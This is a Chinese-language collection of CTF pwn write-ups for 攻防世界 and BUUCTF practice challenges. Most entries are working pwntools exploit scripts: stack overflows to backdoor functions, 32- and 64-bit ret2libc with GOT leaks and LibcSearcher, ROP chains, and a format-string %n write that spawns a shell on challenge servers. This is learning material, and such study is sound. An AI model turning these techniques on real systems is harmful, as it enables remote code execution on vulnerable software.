Pwn_WP(动态更新)
题解/Write Up
攻防世界
level0
#exp:
from pwn import *
r = remote("111.198.29.45", 34012)
payload = 'A' * 0x88 + p64(0x00400596).decode("iso-8859-1")
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()
注意 .decode("iso-8859-1"),否则在python3环境下会报错。
根据IDA中信息,通过输入溢出覆盖到callsystem函数的地址即可解出。 ls cat得到flag
level2
当re2libc在32位下的例题了
上灯神的EXP
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="i386",log_level="debug")
content=1
#elf
elf=ELF("level3")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
#libc
#这里直接得知了libc的版本号,如果不知道libc的版本号,或许可以用已经泄露的地址来找找libc的版本号。
lib=ELF('libc_32.so.6')
lib_write_addr=lib.symbols['write']
lib_system_addr=lib.symbols['system']
lib_binsh_addr=next(lib.search(b'/bin/sh'))
def main():
if content==0:
io=process("./level3")
else:
io=remote("111.200.241.243",34633)
#leak_payload 用flat()和直接"+"拼接一样,注意拼接有严格顺序
payload=flat([b'a'*(0x88+4),p32(write_plt),p32(main_addr),p32(1),p32(write_got),p32(4)])
#对payload的解释:
#栈溢出,write_plt地址,返回地址(覆写为main的地址以重复程序运行),write函数的三个参数
#p32(1),p32(write_got),p32(4)均是write的三个参数
#write函数:
#函数定义:ssize_t write (int fd, const void * buf, size_t count);
#函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。
#返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。
#leak
io.sendlineafter("Input:\n",payload)
write_addr=u32(io.recv()[0:4])
#addr_count
libcbase=write_addr-lib_write_addr#偏移
system_addr=libcbase+lib_system_addr
binsh_addr=libcbase+lib_binsh_addr
#get_shell_payload
payload=flat([b'a'*(0x88+4),p32(system_addr),b'aaaa',p32(binsh_addr)])
#溢出,覆写system地址,返回地址,传入参数
#由于调用到system地址就已经完成pwn攻击了,所以返回地址随便写一下就行了
#getshell
io.sendlineafter("Input:\n", payload)
io.interactive()
main()
如果题目不告诉libc的版本号,可以试着调用[Libcsearcher]。
当然,可以和灯神一样去下载对应的libc文件
补充知识:
x86,32位程序调用函数所使用的参数都在栈中,栈中从高地址到低地址顺序是“调用的函数地址,返回的函数地
址,调用函数的参数1,参数2,参数3.....
但对于x64:
64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中 。
Buu
test_your_nc1
nc:全称netcat,其主要用途是建立和监听任意TCP和[UDP]连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。
根据靶机信息
nc node4.buuoj.cn 25288
cat flag 得出答案。
rip
checksec,几乎没什么开启的保护。
拖入ida进行分析,F5反编译,看到是gets输入溢出。在函数目录中,fun函数直接调用了binsh。可以通过gets溢出覆写返回地址调用fun函数获得shell。
exp:
from pwn import*
r=remote("node4.buuoj.cn",27874)
payload = 'A' * 0x0F + 'a' * 0x8 +p64(0x00401186+1).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
存在一个和攻防世界不同的问题,这里payload的p64里有+1。据说是因为sys函数的0x10对齐问题,存在于ubuntu18以上的系统环境。
详细:
https://www.toutiao.com/i7053693034252223006/?wid=1646570061031
**在询问后,得知了一种跑本地以调用gdb的方法
将wp改写成如下形式
from pwn import*
#r=remote("node4.buuoj.cn",29442)
r=process("./pwn1")
#payload=('A'*0x88)+p64(0x00400596)
#r.recvuntil("Hello,World\n")
gdb.attach(r)
sleep(1)
payload = 'A' * 0x0F + 'a' * 0x8 + p64(0x00401186).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
本地调用后,发现如果不加1,会发生如下错误
warmup_csaw_2016
chekseck 没开什么保护
基本和上题区别不大,这次为避免对齐问题,直接打到 cat flag.txt的地址。
exp:
from pwn import*
r=remote("node4.buuoj.cn",25594)
payload = 'A' * 0x40 + 'a' * 0x8 + p64(0x00400611).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
运行即可看到Flag
ciscn_2019_n_1
checksec ,基本无保护
exp:
from pwn import*
r=remote("node4.buuoj.cn",26060)
#r=process("./pwn1")
#payload=('A'*0x88)+p64(0x00400596)
#r.recvuntil("Hello,World\n")
#gdb.attach(r)
#sleep(1)
payload = 'A' * 0x2c + p64(0x41348000).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
看小数点进制转换的小技巧:可以在ida 源文件判断行查看
即可看到flag
pwn1_sctf_2016
checksec ,开启了NX保护,甚至是个32位程序。
NX:可读处不可写,可写处不可读。
3c(60)的容量,只可以输入32大小的数据。但函数有一个替换功能
会将所有的I 转换为 you
那么若输入20个I,则会被替换成60个字符,造成数据溢出。
溢出至get_flag地址,即可解题。
exp:
from pwn import*
r=remote("node4.buuoj.cn",26929)
payload = 'I' * 0x14+'a'*0x04 + p32(0x08048F13).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
注意:32位程序,将p64改成p32使用。
//sublime
jarvisoj_level0
和攻防世界level0是一道题。
ciscn_2019_c_1,64位re2libc例题
re2libc在64位下的样题。
IDA看到伪代码,溢出漏洞出现在encrypt加密函数上。
这道题普及了 strlen的绕过方法(虽然对这道题似乎没什么用),即将strlen的参数改为以\x00开头,因为strlen的计算截止到/0
因为没有system函数的调用,我们需要泄露一个函数的地址来进行re2libc。在64位环境下,我们需要操作寄存器来进行控制。
利用ROPgadget找到pop对应地址
要注意的是在x64,64位系统中rdi,rsi,rdx,rcx,r8,r9作为调用函数的前6个参数,如果参数多于6个,其余参数放入栈中
ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
附上灯神的代码
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
content=1
#elf
elf=ELF('ciscn_2019_c_1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0400B28
pop_ret=0x0400c83 #pop rdi ;ret
ret = 0x4006b9
#libc
libc=ELF('libc-2.27.so')
puts_libc=libc.symbols['puts']
system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))
def main():
if content==0:
io=process("./ciscn_2019_c_1")
else:
io=remote("node3.buuoj.cn",28749)
#leak_payload
payload=b'a'*
(0x50+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#leak
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recvuntil("Ciphertext\n")
io.recvline()
#recive
puts_addr=io.recv(7)[:-1]
#x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出
地址
#print(puts_addr)
#print(puts_addr.ljust(8,b'\x00'))
puts_addr=u64(puts_addr.ljust(8,b'\x00'))
#填充为8字节栈对齐,注意要先填充再u64解包
#print(puts_addr)
#addr_count
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
#getshell_payload
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)
#getshell
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recv()
io.interactive()
main()
但是 由于我迫不及待的想试一试LibcSearcher,于是改了一下灯神的代码。在使用中,遇到了多个版本,经过测试,选1。
#!/usr/bin/env python3
from pwn import*
from LibcSearcher import*
context(os="linux",arch="amd64",log_level="debug")
content=1
#elf
elf=ELF('ciscn_2019_c_1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0400B28
pop_ret=0x0400c83 #pop rdi ;ret
ret = 0x4006b9
if content==0:
io=process("./ciscn_2019_c_1")
else:
io=remote("node4.buuoj.cn",26072)
#leak_payload
payload='A'*(0x50+8)+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)).decode("iso-8859-1")
#leak
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recvuntil("Ciphertext\n")
io.recvline()
#recive
puts_addr=io.recv(7)[:-1]
#x64中地址为12位(8+8-4重叠4位,类比x86中地址4+4-2)6个字节,加上换行1字节,再用切片截出地址
#print(puts_addr)
#print(puts_addr.ljust(8,b'\x00'))
puts_addr=u64(puts_addr.ljust(8,b'\x00'))
#填充为8字节栈对齐,注意要先填充再u64解包
#print(puts_addr)
#libc
#libc=ELF('libc-2.27.so')
libc=LibcSearcher("puts",puts_addr)
puts_libc=libc.dump("puts")
system_libc=libc.dump("system")
binsh_libc=libc.dump("str_bin_sh")
#puts_libc=libc.symbols['puts']
#system_libc=libc.symbols['system']
#binsh_libc=next(libc.search(b'/bin/sh'))
#addr_count
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
#getshell_payload
payload='A' *(0x50+8)+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr)).decode("iso-8859-1")
#payload:栈溢出,对齐,写入ret给
#getshell
#.decode("iso-8859-1")
io.sendlineafter("Input your choice!\n", '1')
io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
io.recv()
io.interactive()
[OGeek2019]babyrop
re2libc
https://www.cnblogs.com/zhwer/p/13380122.html
from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn', '28084')
elf = ELF('./pwn2')
main_addr = 0x08048825
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
payload1 = '\x00' + '\xff'*7 # 最后一个 \xff 是有效的返回值
io.sendline(payload1)
io.recvuntil('Correct\n')
payload2 = 'a'*0xe7 + 'b'*4 + p32(write_plt).decode("iso-8859-1") + p32(main_addr).decode("iso-8859-1") # 按部就班先返回到 main()
payload2 += p32(1).decode("iso-8859-1") + p32(read_got).decode("iso-8859-1")+ p32(4).decode("iso-8859-1")
io.sendline(payload2)
# 计算各函数或字符串的真实地址
read_addr = u32(io.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
io.sendline(payload1)
io.recvuntil('Correct\n')
payload3 = 'a'*0xe7 + 'b'*4 + p32(system_addr).decode("iso-8859-1") + p32(23).decode("iso-8859-1") + p32(binsh).decode("iso-8859-1")
io.sendline(payload3)
io.interactive()
经测试,选2
[第五空间2019 决赛]PWN5
Canary 打开了,程序是32位的。
x后来发现是道格式化字符串漏洞的题
from pwn import*
r=remote("node4.buuoj.cn",27677)
targetadd=0x804c044
payload=p32(targetadd).decode("iso-8859-1")+'%10$n'
r.sendline(payload)
r.sendline(str(4))
r.interactive()
看题目来说,在printf(buf)处存在漏洞。我们可以试着输入“AAAA”来查看我们的偏移位置,然后入栈dword_804c044的目标地址,根据偏移利用%n进行改写数据。在第二次询问密码的时候输入数据即可。
dword_804c044的地址是0x804c044,大小4个字节。所以写入的值应该为4。
则只需要在询问密码时,发送4便可get shell
那么如何查看偏移:
漏洞发生处的地址
在漏洞发生出下断点,查看栈情况
可以看到偏移位置为10。
另外,在查阅wp的时候,似乎看到了一个好用的工具:fmtstr_payload
后续再做了解。
ciscn_2019_n_8
checksec一下
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
?可能是想考能不能看懂代码吗
from pwn import *
r = remote('node4.buuoj.cn',27199)
payload = 'a'*13*4+p64(17).decode("iso-8859-1")
r.sendline(payload)
r.interac
tive()
jarvisoj_level2
checksec ,32位仅开NX
IDA一眼栈溢出
Ida alt+t搜一下Binsh
exp:
from pwn import *
r = remote('node4.buuoj.cn',27664)
sys_addr=0x8048320
bin_sh_addr=0x0804A024
payload = 'a'*(0x88+4)+p32(sys_addr).decode("iso-8859-1")+'a'*4+p32(bin_sh_addr).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
bjdctf_2020_babystack
from pwn import *
r = remote('node4.buuoj.cn',25130)
sys_addr=0x4006E6
#bin_sh_addr=0x0804A024
payload1='100'
r.sendline(payload1)
payload = 'a'*(0x10+8)+p64(sys_addr).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
一眼栈溢出,还给了后门函数。
get_started_3dsctf_2016
32位只有NX
https://blog.csdn.net/A951860555/article/details/111030289
from pwn import *
r = remote('node4.buuoj.cn',25065)
sys_addr=0x80489B8
#bin_sh_addr=0x0804A024
#payload1='100'
#r.sendline(payload1)
#payload = 'a'*(0x38)+p32(sys_addr).decode("iso-8859-1")
payload = 'a'*(0x38) + p32(0x080489A0).decode("iso-8859-1") + p32(0x0804E6A0).decode("iso-8859-1")
# a1 == 0x308CD64F a2 == 0x195719D1
payload += p32(0x308CD64F).decode("iso-8859-1") + p32(0x195719D1).decode("iso-8859-1")
r.sendline(payload)
r.interactive()
一步一步学Rop之Linux64_level5
首先Checksec,64位程序
ciscn_2019_en_2
简单re2libc,带一个绕过strlen
from pwn import *
from LibcSearcher import*
#io = remote('node4.buuoj.cn',27666)
io=process("./ciscn_2019_en_2")
elf=ELF('ciscn_2019_en_2')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x00000000004006b9
pop_ret=0x0000000000400c83
encrypt_addr=0x004009A0
io.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr))
io.sendlineafter('encrypted\n', payload)
#io.recvuntil('encrypted\n')
io.recvline()
io.recvline()
#puts_addr=io.recv(7)[:-1]
#puts_addr=u64(puts_addr.ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print('%#x'%puts_addr)
#print hex(puts_addr)
libc=LibcSearcher("puts",puts_addr)
puts_libc=libc.dump("puts")
system_libc=libc.dump("system")
binsh_libc=libc.dump("str_bin_sh")
libcbase=puts_addr-puts_libc
system_addr=libcbase+system_libc
binsh_addr=libcbase+binsh_libc
payload=b'\0'+b'a'*0x4F+b'a'*8+(p64(ret)+p64(pop_ret)+p64(binsh_addr)+p64(system_addr))
io.sendlineafter('encrypted\n',payload)
#io.sendline(payload)
io.interactive()
#ROPgadget--binary ./ciscn_2019_en_2 --only"pop|ret"
#ROPgadget --binary ciscn_2019_en_2 --only 'pop|ret'